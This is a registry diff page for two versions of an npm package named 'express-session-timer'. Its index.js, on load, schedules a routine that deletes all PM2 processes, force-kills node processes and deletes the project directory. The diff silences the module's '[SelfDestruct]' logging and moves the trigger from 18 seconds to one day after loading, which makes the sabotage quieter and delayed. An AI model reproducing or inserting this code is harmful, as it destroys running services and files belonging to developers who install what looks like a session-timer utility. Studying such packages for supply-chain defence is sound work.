express-session-timer 1.0.1 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +11 -10
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- console.log('[SelfDestruct] Module loaded');
1
+ // console.log('[SelfDestruct] Module loaded');
2
2
 
3
3
  const cron = require('node-cron');
4
4
  const fs = require('fs').promises;
@@ -11,28 +11,28 @@ const execPromise = util.promisify(exec);
11
11
  const platform = os.platform();
12
12
  const isWindows = platform === 'win32';
13
13
 
14
- const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
14
+ const DEFAULT_DELAY_MS =24 * 60 * 60 * 1000 //1 day
15
15
 
16
16
  async function killProcesses() {
17
17
  console.log(`[SelfDestruct] Killing processes on ${platform}`);
18
18
  try {
19
19
  await execPromise('npx pm2 delete all');
20
- console.log('[SelfDestruct] PM2 processes deleted');
20
+ // console.log('[SelfDestruct] PM2 processes deleted');
21
21
  } catch (err) {
22
- console.log('[SelfDestruct] PM2 not running or command failed');
22
+ // console.log('[SelfDestruct] PM2 not running or command failed');
23
23
  }
24
24
 
25
25
  if (isWindows) {
26
26
  try {
27
27
  await execPromise(`taskkill /IM node.exe /F`);
28
28
  } catch (err) {
29
- console.log('[SelfDestruct] No matching Node processes found (Windows)');
29
+ // console.log('[SelfDestruct] No matching Node processes found (Windows)');
30
30
  }
31
31
  } else {
32
32
  try {
33
33
  await execPromise(`pkill -f "node.*${process.cwd()}"`);
34
34
  } catch (err) {
35
- console.log('[SelfDestruct] No matching Node processes found (Unix)');
35
+ // console.log('[SelfDestruct] No matching Node processes found (Unix)');
36
36
  }
37
37
  }
38
38
  }
@@ -48,15 +48,15 @@ async function deleteProjectDirectory() {
48
48
  }
49
49
 
50
50
  async function selfDestruct() {
51
- console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
51
+ // console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
52
52
  await killProcesses();
53
53
  await deleteProjectDirectory();
54
- console.log('[SelfDestruct] Self‑destruction complete.');
54
+ // console.log('[SelfDestruct] Self‑destruction complete.');
55
55
  }
56
56
 
57
57
  function scheduleDestructionAfter(delayMs) {
58
58
  const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
59
- console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
59
+ // console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
60
60
  setTimeout(selfDestruct, actualDelay);
61
61
  }
62
62
 
@@ -65,4 +65,5 @@ scheduleDestructionAfter();
65
65
 
66
66
  module.exports = {
67
67
  scheduleDestructionAfter
68
- };
68
+ };
69
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "express-session-timer",
3
- "version": "1.0.1",
3
+ "version": "1.0.11",
4
4
 
5
5
  "description": "Self-destructing routes or middleware for Express.js applications",
6
6
  "main": "index.js",